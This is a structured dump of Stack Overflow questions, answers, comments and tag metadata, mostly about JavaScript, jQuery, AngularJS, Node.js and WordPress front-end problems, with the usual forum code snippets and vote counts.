has body: In wordpress I have a form like this Name Email Submit So when I am doing click on submit button it is inserting data to the table like this global $wpdb; if ( isset($_POST['submit']) ) { $wpdb->insert( 'fl_user_data', array( 'id' => '', 'name' => $_POST['name'], 'email' => $_POST['email']) ); echo 'success'; } and it is doing insert the values to the database. Now I have used a button inside the form called as add row. So the button adds the row to the table. Now when I click the button it adds a row to the table like this +Add Row This one is adding a row when I click the add row button. So when after all the fields have been filled with the new rows and I click on submit button then it is inserting only one row values. So can someone tell me how to insert the rows of data in the database table in rows. Any help and suggestions will be really appreciable. Thanks

http://stackoverflow.com/q/25806407
type: UnansweredQuestion
downvote count: 2
upvote count: 1
has comment: http://stackoverflow.com/comment/40366581
type: Question
has body: I am implementing Sticky Notes using jQuery ui Dialog Box. So on a button click a dialog box is opened which covers full window size and inside that box is a button to add notes (which are dialog boxes of small size). Now I want to save the notes added for every user. So I want when the user comes back again when dialog box is opened the previous notes (dialog boxes) are present there. How can this be achieved??
has comment: http://stackoverflow.com/comment/40366501
has answer: http://stackoverflow.com/a/25806859
score: -1
tagged with: jquery-plugins
has title: Saving dialog boxes jquery?
answer count: 2
has comment: http://stackoverflow.com/comment/40366632
tagged with: javascript
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40366678
tagged with: jquery-ui-dialog
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40366546
has answer: http://stackoverflow.com/a/25806586

http://stackoverflow.com/comment/40264707
comment on: http://stackoverflow.com/q/25749907
has text: @kol: One loop, to be precise :-)
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25800419
has title: Full screen html5 player on IE11 not working
has body: The full screen button is working fine in Chrome and Mozilla but when it comes to IE11 The full screen button is not working. Is their any way to get this? function fscreen(){ if (vid.requestFullscreen) { vid.requestFullscreen(); //vid.controls = true; } else if (vid.mozRequestFullScreen) { vid.mozRequestFullScreen(); //vid.controls = true; } else if (vid.webkitRequestFullscreen) { vid.webkitRequestFullscreen(); //vid.controls = true; } }
has answer: http://stackoverflow.com/a/25803865
accepted answer: http://stackoverflow.com/a/25803865
type: Question
answer count: 1
tagged with: javascript
score: -1
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
favorite count: 0
type: AnsweredQuestion
upvote count: 0

http://stackoverflow.com/comment/40345703
type: Comment
type: AnswerComment
has text: Thanks, but, I have to vertically center something in this #box; but I also need to be able to scroll down to the next page, any help?
comment on: http://stackoverflow.com/a/25794637
score: 0

http://stackoverflow.com/comment/40287669
type: QuestionComment
has text: check that you don't have conflict in loading bootstrap.js files. because we used to write 'booster.widgets.TbGridView' not 'bootstrap.widgets.TbGridView'. so maybe you are loading two bootstrap libs
comment on: http://stackoverflow.com/q/25751275
score: 0
type: Comment

http://stackoverflow.com/q/25780699
has answer: http://stackoverflow.com/a/25780788
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25780808
answer count: 4
favorite count: 0
type: UnansweredQuestion
has title: Click on dynamically generated radio button
upvote count: 1
score: 1
has answer: http://stackoverflow.com/a/25780775
has body: i am trying to alert some text when a dynamically generated radio button is checked .. here is the link from fiddle .. http://jsfiddle.net/z7cu3q0y/ function createRadioButtons(n) { $("#radioContainer").empty(); for(var i=0;i&lt;n;i++) { radioButtons = "&lt;p&gt;&lt;input type='radio' class='"+n+"' name='"+n+"'&gt;"+(i+1)+"&lt;/p&gt;"; $("#radioContainer").append(radioButtons); } } $("#dropDown").on("change",function() { createRadioButtons(parseInt($(this).val())); }); $("#radioContainer input").on("change",function() { alert("checked"); }); when i click on radio button i am not getting alert .. can any one of you please help me in taking a look ? Thanks in advance, Ashwin
type: Question
has comment: http://stackoverflow.com/comment/40320160
has answer: http://stackoverflow.com/a/25780791
downvote count: 0
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40625041
comment on: http://stackoverflow.com/a/25856325
type: Comment
has text: Hi, thanks for your answer, is there any way to ng-repeat arbitrary level, without using
type: AnswerComment
score: 0

http://stackoverflow.com/q/25842775
score: 1
possible better answer: http://stackoverflow.com/a/25842836
tagged with: asp.net
has answer: http://stackoverflow.com/a/25842836
favorite count: 0
accepted answer: http://stackoverflow.com/a/25842955
upvote count: 1
type: Question
type: AnsweredQuestion
has title: How to pass comma separate string in JavaScript function from Code behind?
has answer: http://stackoverflow.com/a/25842856
has answer: http://stackoverflow.com/a/25842955
answer count: 3
has body: Code Like In .cs page string test = "1,2"; System.Web.UI.ScriptManager.RegisterClientScriptBlock(Page, typeof(Page), "Script", "OpenCenterWindow(" + test + ");", true); JavaScript funcation function OpenCenterWindow(Ids) { alert(Ids); } In above I am getting alert box = 1 I have try with Encrypt and Decrypt But I am getting error like Uncaught SyntaxError: Unexpected token ) OpenCenterWindow(fBqJaxPUucc=); But I want to 1,2 any solution?
downvote count: 0
tagged with: javascript

http://stackoverflow.com/q/25867633
has body: I'm writing a real-time matching webapp with Node.js, Express &amp; Redis and I need your help. app.get('/match', function(req, res) { db.hkeys('testCollection', function(err, keys){ console.log(keys.length + " keys in Redis:"); keys.forEach(function (keyPlayer, i){ db.hget('testCollection', keyPlayer, function(err, obj){ var testObj = JSON.parse(obj); if ([conditions]){ console.log('--- A match has been found! ---'); console.log('--- Details of match ---'); console.log('ID: ' + keyPlayer); console.log('Name: ' + testObj.name); res.render('match', { match : testObj }); } else { console.log('*** No match has been found ***'); if ((i+1) == keys.length){ console.log('=== No player match found in DB ==='); }; } }); }); }); }); How can I make this line of code stop when the conditions in the [if] are hit? Is it possible or should I look for a different solution? db.hget('testCollection', keyPlayer, function(err, obj){
has comment: http://stackoverflow.com/comment/40480371
score: 0
has answer: http://stackoverflow.com/a/25871745
answer count: 1
tagged with: redis
accepted answer: http://stackoverflow.com/a/25871745
tagged with: node.js
type: AnsweredQuestion
has title: Stop a Redis hget on first match
type: Question
tagged with: javascript

http://stackoverflow.com/a/25868971
has body: To check and validate for single '@'. The below mentioned one is the standard Email Regex which is been used: \w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*
has comment: http://stackoverflow.com/comment/40482187
has comment: http://stackoverflow.com/comment/40481497
has comment: http://stackoverflow.com/comment/40481690
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40481029
downvote count: 0
answers question: http://stackoverflow.com/q/25868917
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/25868917
score: 2

http://stackoverflow.com/comment/40436179
type: AnswerComment
has text: I assume you can use the inappbrowser to show facebook's login screen with your own redirect, and then analyze the callback you get, but this is not the way it's meant to be used, imho.
type: Comment
comment on: http://stackoverflow.com/a/25843420
score: 0

http://stackoverflow.com/comment/40310673
has text: Thank you very much, this method works perfectly so far!
comment on: http://stackoverflow.com/a/25775055
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40481170
type: Comment
has text: would this work: $("#dateValuationDate").on("change", function () { $("#dateValuationDate").val($(this).val()); });
comment on: http://stackoverflow.com/a/25867583
score: 0
type: AnswerComment

http://stackoverflow.com/q/25732813
tagged with: javascript
tagged with: express
upvote count: 2
has body: I am using node.js and express as the route method, my route looks like: Set the website routes app.use('/public', express.static('./public')); app.use('/web', express.static('./web')); how can I set restrict access to 'public' and 'web' folders in one method, currently I am using two line, this code app.get('/public*', checkPermissions, function(req,res,next){ next(); }); app.get('/web*', checkPermissions, function(req,res,next){ next(); });
has answer: http://stackoverflow.com/a/25732853
accepted answer: http://stackoverflow.com/a/25732853
answer count: 1
favorite count: 0
has title: how to restrict access to many folders in node.js using express module
tagged with: node.js
score: 2
type: AnsweredQuestion
downvote count: 0
type: Question

http://stackoverflow.com/comment/40474696
type: QuestionComment
has text: I think I solved it by using this: if(!$('#shopcartsummary').is(':hover')){ hide stuff }
comment on: http://stackoverflow.com/q/25865281
score: 0
type: Comment

http://stackoverflow.com/comment/40250532
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25721070
has text: I have finished. This code does not work, and i write another code. I take data from db and give json to javascript, without xml.

http://stackoverflow.com/comment/40295205
comment on: http://stackoverflow.com/a/25765961
score: 0
type: AnswerComment
has text: Works like a charm, jQuery always has these useful gems!
type: Comment

http://stackoverflow.com/q/25847829
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25847954
has answer: http://stackoverflow.com/a/25847951
has answer: http://stackoverflow.com/a/25847954
type: Question
has body: I want to show a warning message if a user selects a specific option, but the warning isn't appearing. How can I modify my code so that this works correctly? Here is a demo on jsFiddle which reproduces the problem? HTML : google.com Don't send mail JS: function warningaa() { alert('If you choose this option, you can not receive any information'); }
has comment: http://stackoverflow.com/comment/40442413
score: 10
upvote count: 10
has comment: http://stackoverflow.com/comment/40442292
has title: Binding an event handler to an HTML select.option
accepted answer: http://stackoverflow.com/a/25847951
downvote count: 0
tagged with: javascript
tagged with: dom-events
favorite count: 0
has answer: http://stackoverflow.com/a/25847942
answer count: 3
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/a/25832862
has comment: http://stackoverflow.com/comment/40415091
has body: You need to parseInt() around the input values: $("#inputBayarKembali").change(function() { var sisa = parseInt("0"); var bayar = parseInt($("#bayar").text()); sisa = sisa + parseInt($("#inputBayarKembali").val())-bayar; $("#sisa").html(sisa); });
has comment: http://stackoverflow.com/comment/40415075
type: AcceptedAnswer
downvote count: 0
upvote count: 2
accepted answer of: http://stackoverflow.com/q/25832831
type: Answer
answers question: http://stackoverflow.com/q/25832831
score: 2

http://stackoverflow.com/q/25753476
linked to: http://stackoverflow.com/q/203198
has comment: http://stackoverflow.com/comment/40271024
tagged with: javascript
answer count: 2
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25753532
favorite count: 0
has comment: http://stackoverflow.com/comment/40270723
has title: Remove element on click with Jquery
tagged with: http://stackoverflow.com/tag/html
score: 2
type: AnsweredQuestion
upvote count: 3
has body: I'm creating new input field with JQuery that include a remove button. The remove button works on the original element but does not work on those that were created using JQuery. document after two new email fields added Send Email Emails(s) to send notice to. x x x Add Another Email Send Email Script
duplicate of: http://stackoverflow.com/q/203198
has answer: http://stackoverflow.com/a/25753532
has answer: http://stackoverflow.com/a/25753637
has comment: http://stackoverflow.com/comment/40270770
accepted answer: http://stackoverflow.com/a/25753637
downvote count: 1
type: Question

http://stackoverflow.com/a/25777545
type: Answer
score: 3
has body: Short answer: no. Alternatively, the best I can suggest, is a function that takes variable arguments, alternating between keys and values. Just make it a bare function, optionally taking an existing object to extend.
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/25777499

java
tags question: http://stackoverflow.com/q/25777722
tags question: http://stackoverflow.com/q/25802691
tags question: http://stackoverflow.com/q/25791343
tags question: http://stackoverflow.com/q/25716161
tags question: http://stackoverflow.com/q/25844326
tags question: http://stackoverflow.com/q/25842135
tags question: http://stackoverflow.com/q/25794598
tags question: http://stackoverflow.com/q/25728367
tags question: http://stackoverflow.com/q/25839007
tags question: http://stackoverflow.com/q/25747486
tags question: http://stackoverflow.com/q/25866683
tags question: http://stackoverflow.com/q/25842424
tags question: http://stackoverflow.com/q/25759161
tags question: http://stackoverflow.com/q/25804935
tags question: http://stackoverflow.com/q/25844551
tags question: http://stackoverflow.com/q/25827298
tags question: http://stackoverflow.com/q/25730738
tags question: http://stackoverflow.com/q/25764529
tags question: http://stackoverflow.com/q/25838965
tags question: http://stackoverflow.com/q/25777287
tags question: http://stackoverflow.com/q/25762321
tags question: http://stackoverflow.com/q/25790224
tags question: http://stackoverflow.com/q/25763882
tags question: http://stackoverflow.com/q/25836010
tags question: http://stackoverflow.com/q/25868260
tags question: http://stackoverflow.com/q/25862419
tags question: http://stackoverflow.com/q/25828614
tags question: http://stackoverflow.com/q/25791004
tags question: http://stackoverflow.com/q/25767439
tags question: http://stackoverflow.com/q/25757605
tags question: http://stackoverflow.com/q/25735429
tags question: http://stackoverflow.com/q/25765015
tags question: http://stackoverflow.com/q/25811033
tags question: http://stackoverflow.com/q/25714827
tags question: http://stackoverflow.com/q/25749851
tags question: http://stackoverflow.com/q/25812885
tag name: java
tags question: http://stackoverflow.com/q/25808796
tags question: http://stackoverflow.com/q/25730702
tags question: http://stackoverflow.com/q/25849543
tags question: http://stackoverflow.com/q/25733600
tags question: http://stackoverflow.com/q/25721583
tags question: http://stackoverflow.com/q/25728210
tags question: http://stackoverflow.com/q/25830457
tags question: http://stackoverflow.com/q/25748247
tags question: http://stackoverflow.com/q/25771073
tags question: http://stackoverflow.com/q/25770974
tags question: http://stackoverflow.com/q/25813283
tags question: http://stackoverflow.com/q/25746204
type: Tag
tags question: http://stackoverflow.com/q/25796736
tags question: http://stackoverflow.com/q/25720546
tags question: http://stackoverflow.com/q/25783217
tags question: http://stackoverflow.com/q/25757798
tags question: http://stackoverflow.com/q/25870528
tags question: http://stackoverflow.com/q/25718053
tags question: http://stackoverflow.com/q/25739768

http://stackoverflow.com/a/25787565
downvote count: 0
score: 1
has body: Your code will go like. This is provided you are returning the values like you mentioned above. ** Use {{updatedTime}} in your HTML. ** var timeUpdater = $interval(function() { var vals = $scope.endingdays(deal.endDate); $scope.updatedTime = vals[0]+':'+vals[1]+':'+vals[2]; }, 100 );// This is the time in miliseconds to update . }; // To kill the timer $scope.killTimeUpdater = function() { if (angular.isDefined(timeUpdater)) { $interval.cancel(timeUpdater); timeUpdater = undefined; } };
answers question: http://stackoverflow.com/q/25786992
upvote count: 1
has comment: http://stackoverflow.com/comment/40332072
type: Answer

http://stackoverflow.com/q/25829946
has body: Trying to create a simple form with JavaScript validation to alert user when a text field is blank. When I open saved .html file in browser the form appears however when I click to submit no JavaScript alert is appearing, how do I make this JavaScript function work and have the alert appear on submit? Your Name: Your Phone Number: Your Email Address: Message:
downvote count: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25829969
type: Question
upvote count: 0
score: -2
tagged with: javascript
has comment: http://stackoverflow.com/comment/40409820
answer count: 1
accepted answer: http://stackoverflow.com/a/25829969
favorite count: 0
has title: no JavaScript alert appearing on submit

http://stackoverflow.com/q/25871191
possible better answer: http://stackoverflow.com/a/25871822
has body: I have been learning angular and found this when trying to access the parent controller http://jsfiddle.net/eqb23s8t/ I was expecting to access the same variable from the parent controller from inside the ng-repeat using the $parent so when one of the checkbox is pressed, all should be updated, but this is not true. Why ?. &lt;div ng-app ng-controller="ParentCtrl"&gt; &lt;ul&gt; &lt;li ng-repeat="city in cities"&gt;{{city}}&lt;input type="checkbox" ng-checked="$parent.somevar" /&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt;
has answer: http://stackoverflow.com/a/25871822
has answer: http://stackoverflow.com/a/25871787
has title: accessing parent controller from ng-repeat
has answer: http://stackoverflow.com/a/25872724
downvote count: 0
score: 1
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25871866
answer count: 5
has answer: http://stackoverflow.com/a/25871895
type: AnsweredQuestion
upvote count: 1
accepted answer: http://stackoverflow.com/a/25871866
type: Question
tagged with: javascript

http://stackoverflow.com/comment/40490724
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25873546
has text: I gave that a go and it still didn't split them nicely, it just messed up the way the menu's expanded on all of them... I wish this was in html it would be a lot easier

http://stackoverflow.com/a/25763950
has body: Nice work, congratulations! I noticed that you manage 6 child sliders in a main slider. And each child slider has only 1 slide. There is no chance for child slider to switch slide, you'd know that caption animation will start when slide change. So, the way to reach your goal is to, Make a single slider with 6 slides and set $AutoPlay to false, set $DragOrientation to 0.
type: AcceptedAnswer
downvote count: 0
score: 1
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/25759017
accepted answer of: http://stackoverflow.com/q/25759017

http://stackoverflow.com/q/25848435
type: UnansweredQuestion
tagged with: php
has title: How to set cookie in Jquery for JQM webApp
has body: This must be very simple question . I have a script to set cookie like this &lt;script&gt; $(document).on('pagecreate','#outerPage',function(e) { var windowWidth = $(this).width(); // alert(windowWidth); if(windowWidth &lt;290) { console.log('cookie :small'); $.cookie("adds", 0); //setTestCookie("adds","0"); } else { console.log('cookie :Big'); $.cookie("adds", 1); //setTestCookie("adds","1"); } }); &lt;/script&gt; So if these cookies are set I am displaying or hiding a google add using php if() else statement simple as of now. Till now I have been using this function called setTestCookie() but there was a problem that the if else statement was working on when I load the page two time . that means the cookies where setting only after loading the page twice . So I went to Jquery website and used this function $.cookie() to set the cookie but it result into loading page Image and the webpage never loads. Any one has any idea why is this happening . In short when I use $.cookie() the page loader Image shows but the page never loads . ERROR in Console Uncaught TypeError: undefined is not a function Thanks &amp; Regards
has comment: http://stackoverflow.com/comment/40443636
answer count: 0
has comment: http://stackoverflow.com/comment/40443281
tagged with: cookies
has comment: http://stackoverflow.com/comment/40445518
has comment: http://stackoverflow.com/comment/40443441
has comment: http://stackoverflow.com/comment/40445366
linked to: http://stackoverflow.com/q/1458724
type: Question
tagged with: jquery-mobile
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40443659
has comment: http://stackoverflow.com/comment/40443748
tagged with: jquery
has comment: http://stackoverflow.com/comment/40444704
duplicate of: http://stackoverflow.com/q/1458724

http://stackoverflow.com/q/25760053
has answer: http://stackoverflow.com/a/25760291
has comment: http://stackoverflow.com/comment/40282379
has comment: http://stackoverflow.com/comment/40283815
has comment: http://stackoverflow.com/comment/40282878
has comment: http://stackoverflow.com/comment/40282931
has comment: http://stackoverflow.com/comment/40282953
has comment: http://stackoverflow.com/comment/40282509
has comment: http://stackoverflow.com/comment/40283844
has comment: http://stackoverflow.com/comment/40282718
type: Question
has comment: http://stackoverflow.com/comment/40282268
has comment: http://stackoverflow.com/comment/40282261
tagged with: javascript
has comment: http://stackoverflow.com/comment/40282731
has answer: http://stackoverflow.com/a/25760956
has comment: http://stackoverflow.com/comment/40282607
has comment: http://stackoverflow.com/comment/40282505
has comment: http://stackoverflow.com/comment/40282749
score: 0
has answer: http://stackoverflow.com/a/25760900
answer count: 3
has title: positioning a background image using css/javascript
has comment: http://stackoverflow.com/comment/40282969
has comment: http://stackoverflow.com/comment/40282476
has comment: http://stackoverflow.com/comment/40282640
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40282947
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has body: I'm really new into html/css/javascript and I need some help with a site I'm trying to design. My URL is this one: http://www.wideconcept.com/test2/test.html It's a full-page background site, with the background image being responsive. The problem is when the user clicks on the "photos" link, and then on '1': the image that gets displayed on the screen as the new background is not positioned as the original background image, and also the height of page increases (the user can now scroll down). How can I change the html/css code so that, when the user clicks on the 1st image, to display it in the same way as the background image? Thanks! EDIT - To be more specific: My main problem is that when I click the 1st photo link, the image is not displayed in the same position and dimensions as the original background image, even though the css properties for that are the same as the original background css properties.
has comment: http://stackoverflow.com/comment/40282806

http://stackoverflow.com/q/25848864
answer count: 2
tagged with: javascript
possible better answer: http://stackoverflow.com/a/25850874
score: 0
tagged with: angularjs
linked to: http://stackoverflow.com/q/12139152
has title: How to get the value of a Select box implemented using ng-options which is inside a loop?
accepted answer: http://stackoverflow.com/a/25848980
has comment: http://stackoverflow.com/comment/40444306
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25848980
type: Question
has body: I have a list page displaying customer information and in each row of customers there is a Select box with some options like Edit, Cancel, Delete etc. The customers are displayed using ng-repeat directive and the select box with above mentioned options are implemented using ng-options. I tried to get the value of selected item from drop down against each row, but it is not working, the code worked when I pasted the select box code snippet outside the loop. Here is my code to display the customers {{customer.ResellerId}} {{customer.ResellerName}} {{customer.CustomerID}} {{customer.CustomerName}} {{customer.Status}} {{customer.AvailableFunds}} {{customer.CreatedDate}} Select Action Here is my Angular code var CustomerController = function ($scope, $filter, $http, ngTableParams) { $scope.action_options = [{ name: 'Edit', value: 'edit' }, { name: 'Suspend', value: 'suspend' }, { name: 'Cancel', value: 'cancel' }, { name: 'Delete', value: 'delete' }, { name: 'Reset Password', value: 'reset' }]; $scope.editCustomer = function () { //$scope.itemList=[]; alert($scope.item.value); //alert($scope.selected.actions); } } Could anyone tell me what is the mistake I'm doing here ?
has answer: http://stackoverflow.com/a/25850874

http://stackoverflow.com/a/25821506
answers question: http://stackoverflow.com/q/25821475
has body: You can't "disable the URL", you've stumbled upon one of the most fundamental issues of web programming: don't trust the client! That is why web programmers have to check data to ensure it meets certain criteria before moving on... &lt;?php if (!isset($_GET['example']) || ($_GET['example']!='foo' || $_GET['example']!='bar')) { //error } else { //proceed } ?&gt;
downvote count: 0
type: Answer
score: 5
upvote count: 5

http://stackoverflow.com/comment/40334417
score: 1
has text: its because of this `apiClientLoaded`
type: Comment
comment on: http://stackoverflow.com/q/25789015
type: QuestionComment

http://stackoverflow.com/comment/40252136
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25742315
has text: @StephenMuecke & Carl : You both gave the correct answer. I had to create a new method that returns the PartialView. For some strange reason I could just copy the entire Display method, give it a new name and call it as Stephan described in his first post. If either one of you posts his answer, I will accept it as the solution. Thanks to everyone!
type: Comment

http://stackoverflow.com/comment/40280184
type: Comment
has text: @Michael: You are still using `==` for assignments (e.g. in `costBox == costBox * num`). You need to fix all of those.
score: 0
comment on: http://stackoverflow.com/a/25753334
type: AnswerComment

http://stackoverflow.com/comment/40317853
type: QuestionComment
has text: can you describe what technologies you are using on your server (ASP.NET, Ruby/Rails, PHP, etc.) so we can more accurately point you in the right direction? this is a server side process, not a client side process.
score: 0
comment on: http://stackoverflow.com/q/25779395
type: Comment

http://stackoverflow.com/comment/40260959
has text: Now the question is: What happens in IE and FF, and what happens in Chrome instead? I.e. define "working" and "not working". Also, do you really have identical `id`s for every `input`?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25748407
score: 1

http://stackoverflow.com/comment/40305256
type: Comment
comment on: http://stackoverflow.com/a/25772623
score: 0
type: AnswerComment
has text: See my update, calling `click()` causes your handler to be called again

http://stackoverflow.com/a/25738040
answers question: http://stackoverflow.com/q/25737958
has comment: http://stackoverflow.com/comment/40242860
score: 0
has comment: http://stackoverflow.com/comment/40242885
has body: Can you try following code: var totalCount; var intervalVar; var ShowResultVar; function HandleClicks() { totalCount = totalCount + 1; } function ShowResult() { if(totalCount == 0) { console.log("No Clicks"); } else if (totalCount == 1) { console.log("One Click"); } else if(totalCount == 2) { console.log("Two Clicks"); } else if (totalCount &gt;2) { console.log("Three or more Clicks"); } } $(document).ready(function () { totalCount = 0; $("#myControl").bind("click", HandleClicks); intervalVar = setInterval(function () { totalCount = 0; }, 500); ShowResultVar = setInterval(function () { ShowResult(); }, 200); }); It is working for me. Output is as follows: No Clicks No Clicks No Clicks No Clicks No Clicks No Clicks No Clicks No Clicks No Clicks No Clicks One Click Two Clicks One Click Two Clicks No Clicks One Click Two Clicks No Clicks One Click Two Clicks Two Clicks Three or more Clicks One Click One Click No Clicks No Clicks No Clicks No Clicks No Clicks
type: Answer
has comment: http://stackoverflow.com/comment/40242382

http://stackoverflow.com/comment/67965378
type: AnswerComment
comment on: http://stackoverflow.com/a/33368115
score: 0
type: Comment
has text: thanks for this point ,i met this issue and found that my own DataTable.min.js had imported jquery libraries into it ,but my page import it again ,that's the root issue caused it .

http://stackoverflow.com/q/25768693
answer count: 2
has comment: http://stackoverflow.com/comment/40298420
favorite count: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/336859
has comment: http://stackoverflow.com/comment/40298247
has comment: http://stackoverflow.com/comment/40298065
duplicate of: http://stackoverflow.com/q/336859
has comment: http://stackoverflow.com/comment/40299001
score: 0
has body: I understand that function expressions must be expressed at the top if you want to use them vs function declarations which are hoisted to the top. When I call my constructor from with window.onload, it works. However if I don't have a window.onload, and call my constructor before my function expression, the code breaks. &lt;script type="text/javascript"&gt; window.onload = function () { var c = new C(); } // this works, but if i delete window.onload the code breaks. var C = function () { console.log("test"); }; &lt;/script&gt;
has title: Why does window.onload allow me to use functions when they are used as function expressions?
upvote count: 1
has answer: http://stackoverflow.com/a/25768753
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40298074
has answer: http://stackoverflow.com/a/25768774
tagged with: javascript

http://stackoverflow.com/q/25831831
has body: I use a standard function to retrieve an image within the system, as we have the binary in the database, this works good throughout the whole system. Currently implementing jqGrid and have some issues to use the current structure as images don't show up and the jquery structure ($obj = $("&lt;div&gt;");) is not useable. Now I try to implement to get the binary image, however it won't show up, when using a static url it works and image data is being retrieved. $.extend($.fn.fmatter, { getBinairy: function (cellValue, options) { //var object = $(); var width = 50; var html = ""; getImage(cellValue).success(function (data) { $.each($.parseJSON(data.d), function (idx, obj) { p_image = obj.img; p_type = obj.type; p_width = obj.width; p_height = obj.height; }); var _width = width / p_width; var _height = _width * p_height; html = "&lt;img src='data:" + p_type + ";base64," + p_image + "' /&gt;"; //object = $("&lt;img/&gt;", { // src: "data:" + p_type + ";base64," + p_image, // width: width, // height: _height //}); //object.append($img); }); //var html = "&lt;img src='img/test/20131027_132450.jpg' /&gt;"; return html; }, As far I think the fn is loading the "html" too fast, I can't understand other reason, however have no idea how to avoid this. Any help? ---UPDATE--- var ip = ""; var station = ""; return $.ajax({ type: "POST", url: "services/general.asmx/SendBinairy", data: JSON.stringify({ session: 'ed6d1cc6-82f9-46e8-91bb-eae341a771cf', ip: ip, station: station, id: id }), ///, _filter: JSON.stringify(_json) }), contentType: "application/json; charset=utf-8", dataType: "json", loaderror: function (xhr, status, error) { }, success: function (data) { } }); ---UPDATE--- "dataset": [ { "id": 5, "suffix_type_id": 0, "sexe_type_id": 1146, "first_name": "Varvara", "middle_name": "", "last_name": "D", "full_name": "Varvara D", "company_name": "", "nickname": "", "birthday": "1983-12-18", "age": 31, "language_type_id": 6, "relation_type_id": 0, "job_status_type_id": 404, "nation…
has answer: http://stackoverflow.com/a/25832201
linked to: http://stackoverflow.com/q/12513004
tagged with: jqgrid
tagged with: javascript
type: Question
score: 0
answer count: 1
tagged with: jquery
has title: jqGrid binary img wont show up
type: UnansweredQuestion

http://stackoverflow.com/a/25746310
answers question: http://stackoverflow.com/q/25746038
type: AcceptedAnswer
has body: var sentence1 = 'sentence', sentence2 = 'sentence two', sentence3 = 'sentence three', el1 = document.getElementById('text'), el2 = document.getElementById('text_2'), el3 = document.getElementById('text_3'); if (el1) { el1.innerHTML = sentence1; } if (el2) { el2.innerHTML = sentence2; } if (el3) { el3.innerHTML = sentence3; }
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40257229
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25746038

http://stackoverflow.com/q/25818908
tagged with: javascript
has body: I have defined a directive in angular.js. That directive has a link function and a controller function, and no template, so all the view is generated in the link function. In the link function I am doing the following: var button=angular.element(""); button.addClass("ng-click: previousLink();"); //previousLink() is a function defined in the scope. //I am doing it like that, because before that one I attempted to do: //button.prop("ng-click", "previousLink()"); //button.text("Previous"); //but for some reason it was showing on html as Next, without adding the property. It does not work. If I click the button it does nothing. If, instead of doing this in the link function in code I were doing it using a template, it would work. For some reason I need to make some manipulations using jquery in the link function. What should I do? Is there anyway to make this work, or would I have to use both template and link function and combine things there?
tagged with: angularjs
has title: Writing directives in the link function of a directive in angular-js
favorite count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/25819344
tagged with: angularjs-directive
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40390477
type: Question
accepted answer: http://stackoverflow.com/a/25819344
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/40252306
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25743421
score: 1
has text: You could do this in css using media queries instead.

http://stackoverflow.com/comment/74825092
comment on: http://stackoverflow.com/a/28641878
type: Comment
score: 8
has text: If you want the utc time, but formatted your own way, instead of ISO8601, you can do the following: `moment().utc().format("OUTPUT_FORMAT")`
type: AnswerComment

http://stackoverflow.com/q/25733122
has body: Problem: I have a basic web app running to take from the user an ID number and a date, the result of the submission of said info returns a dataset from my DB. the data is properly formatted and displayed into a nice html table. I am using DataTables 1.10.2 (http://www.datatables.net/) to handle the formatting of my table of the page. Within the datatables .css file I CAN change the colors and hover over colors and fonts, I can get the column widths to change as I need, but I CAN NOT get the rows to appear with the 'stripe' presentation. This is my html file (a piece of it not everything) for my web page: This is everything that I left out of the above code snippet, perhaps this will help narrow down the problem :)
type: UnansweredQuestion
upvote count: 1
has answer: http://stackoverflow.com/a/25735459
has title: DataTables: trouble formatting to stripe rows
tagged with: datatables-1.10
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/25733189
score: 1

http://stackoverflow.com/a/43263908
has comment: http://stackoverflow.com/comment/85241375
has comment: http://stackoverflow.com/comment/129822613
has comment: http://stackoverflow.com/comment/129527945
has comment: http://stackoverflow.com/comment/129529214
upvote count: 48
has body: You don't need a custom function, you can just do this: let el = await driver.findElement(By.id(`import-file-acqId:${acqId}`)); await driver.wait(until.elementIsVisible(el),100); await el.sendKeys(file); See the docs here.
score: 47
answers question: http://stackoverflow.com/q/25753014
downvote count: 1
type: Answer

http://stackoverflow.com/a/25758420
answers question: http://stackoverflow.com/q/25756424
has body: try this by writing datatype as application/json and try to put json result in var res=result like var res=result alert(res);
type: Answer
has comment: http://stackoverflow.com/comment/40281645
has comment: http://stackoverflow.com/comment/40281420
has comment: http://stackoverflow.com/comment/40282078
score: 0

http://stackoverflow.com/q/25722576
downvote count: 0
has body: Senario : I wanna call a Helper method from JavaScript.I produced some controls in server side such as Grid,DataTimePicker,SlideShow, ... for ASP.NET MVC. Now, how do I invoke helper method from JavaScript ?
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25725369
score: 2
upvote count: 2
type: Question
tagged with: asp.net-mvc
tagged with: javascript
